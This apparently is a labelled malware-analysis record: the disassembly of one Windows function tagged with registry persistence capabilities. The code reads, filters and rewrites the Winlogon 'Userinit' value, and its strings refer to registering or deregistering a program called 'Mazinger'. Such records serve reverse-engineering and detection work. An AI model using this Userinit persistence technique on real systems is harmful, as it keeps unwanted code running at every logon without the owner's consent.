Function at 0x4021a3
Capabilities:
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
mov eax, 0x2044
call fcn.0040cd90
sub esp, eax
mov dword [esp], str.Configuring_winlogon
call sym.log_char_const__..._
mov dword [esp], 0xf003f
call sym.Wow64Key_unsigned_long_
lea edx, [ebp - 0x18]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
mov dword [esp], 0x80000002
mov eax, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x4023d4
mov dword [ebp - 0x2020], 0
lea edx, [ebp - 0x201c]
mov eax, 0
mov ecx, 0x3ff
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0x1000
mov eax, dword [ebp - 0x18]
lea edx, [ebp - 0x20]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x2020]
mov dword [esp + 0x10], edx
lea edx, [ebp - 0x1c]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.UserInit
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
call eax
sub esp, 0x18
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1020]
mov dword [esp], eax
call sym._strcpy
mov dword [esp + 4], 0x4283cf
lea eax, [ebp - 0x2020]
mov dword [esp], eax
call sym._strtok
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
je 0x402353
mov dword [ebp - 0x10], 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
test al, al
je 0x4022d9
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
add eax, edx
movzx eax, byte [eax]
movsx eax, al
mov dword [esp], eax
mov eax, dword [sym.imp.msvcrt.dll_tolower]
call eax
mov edx, eax
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xc]
add eax, ecx
mov byte [eax], dl
add dword [ebp - 0x10], 1
jmp 0x4022a0
mov eax, dword [ebp + 8]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402337
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strstr
test eax, eax
jne 0x402337
lea eax, [ebp - 0x1020]
mov dword [esp], eax
call sym._strlen
mov edx, eax
lea eax, [ebp - 0x1020]
add eax, edx
mov word [eax], 0x2c
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
lea eax, [ebp - 0x1020]
mov dword [esp], eax
call sym._strcat
mov dword [esp + 4], 0x4283cf
mov dword [esp], 0
call sym._strtok
mov dword [ebp - 0xc], eax
jmp 0x40228f
lea eax, [ebp - 0x1020]
mov dword [esp + 4], eax
mov dword [esp], str.__Userinit:__s
call sym.log_char_const__..._
lea eax, [ebp - 0x1020]
mov dword [esp], eax
call sym._strlen
mov edx, dword [ebp - 0x18]
mov dword [esp + 0x14], eax
lea eax, [ebp - 0x1020]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.Userinit
mov dword [esp], edx
mov eax, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call eax
sub esp, 0x18
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
je 0x4023c2
mov dword [esp], str.Error_setting_registry_value_USERINIT__n
call sym.printf_char_const__..._
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call eax
sub esp, 4
jmp 0x4023e0
mov dword [esp], str.Unable_to_deregister_Mazinger_n
call sym.printf_char_const__..._
nop
mov edi, dword [ebp - 4]
leave
ret